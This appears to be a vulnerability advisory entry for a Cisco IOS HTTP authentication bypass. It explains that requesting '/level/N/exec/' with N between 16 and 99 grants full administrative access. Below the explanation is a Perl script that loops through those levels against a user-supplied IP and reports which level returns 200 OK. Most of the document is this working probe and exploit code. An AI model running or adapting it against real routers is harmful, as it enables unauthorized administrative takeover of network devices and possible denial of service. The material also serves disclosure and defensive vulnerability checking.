source: http://www.securityfocus.com/bid/2936/info

IOS is router firmware developed and distributed by Cisco Systems. IOS functions on numerous Cisco devices, including routers and switches.

It is possible to gain full remote administrative access on devices using affected releases of IOS. By using a URL of http://router.address/level/$NUMBER/exec/.... where $NUMBER is an integer between 16 and 99, it is possible for a remote user to gain full administrative access.

This problem makes it possible for a remote user to gain full administrative privileges, which may lead to further compromise of the network or result in a denial of service. 

#!/usr/bin/perl
# modified roelof's uni.pl
# to check cisco ios http auth bug
# cronos <cronos@olympos.org>
use Socket;
print "enter IP (x.x.x.x): ";
$host= <STDIN>;
chop($host);
$i=16;
$port=80;
$target = inet_aton($host);
$flag=0;
LINE: while ($i<100) { 
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
my @results=sendraw("GET /level/".$i."/exec/- HTTP/1.0\r\n\r\n");
foreach $line (@results){
        $line=~ tr/A-Z/a-z/;
        if ($line =~ /http\/1\.0 401 unauthorized/) {$flag=1;}
        if ($line =~ /http\/1\.0 200 ok/) {$flag=0;}
} 
        if ($flag==1){print "Not Vulnerable with $i\n\r";}
                else {print "$line Vulnerable with $i\n\r"; last LINE; }
        $i++;
sub sendraw {
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;}
                select(STDOUT); close(S); return @in;
        } else { die("Can't connect...\n"); }
}
}
